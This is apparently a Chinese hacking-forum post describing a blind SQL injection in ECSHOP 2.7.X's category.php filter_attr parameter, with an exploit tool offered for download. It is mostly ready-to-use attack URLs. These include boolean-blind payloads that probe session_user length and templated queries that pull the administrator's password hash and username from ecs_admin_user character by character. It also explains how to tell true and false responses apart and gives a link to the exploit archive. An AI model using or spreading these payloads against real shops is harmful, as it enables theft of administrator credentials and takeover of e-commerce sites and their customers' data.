”ECSHOP 2.7.X注入漏洞[附EXP利用工具]

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC#
goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&filte
r_attr=-999

Test it :

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%

23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&fil
ter_attr=-999%20OR%20length(session_user())=14%20or%201=2 //判断session_user长度是否是14位

http://www.example.com/shop/category.php?page=1&sort=goods_id&order=ASC%

23goods_list&category=1&display=grid&brand=0&price_min=0&price_max=0&fil
ter_attr=-999%20OR%20length(session_user())=15%20or%201=2 //判断session_user长度是否是15位

http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999 OR ASCII(MID(UPPER((select password FROM ecs_admin_user WHERE user_id=1)),{inj},1))={inj} OR 1=2
第一个{inj}是要猜解密码的第几位.第二个是对应的ascii

利用方法:
访问[url]http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20[/url][color=Red]1=1[/color]%20OR%201=2
[url]http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999%20OR%20[/url][color=Red]1=2[/color]%20OR%201=2

可以看到网页的区别.可以抓取商品图片的链接作为关键字如images/200905/thumb_img/9_thumb_G_1241511871555.jpg
爆用户名的语句为

[url]http://127.0.0.1/category.php?page=1&sort=goods_id&order=asc&category=1&display=grid&brand=0&price_min=0&price_max=0&filter_attr=-999[/url] OR ASCII(MID(UPPER((select user_name FROM ecs_admin_user WHERE user_id=1)),{inj},1))={inj} OR 1=2

下面是EXP：

http://dl.dropbox.com/u/6523253/ECSHOP%202.7.X.rar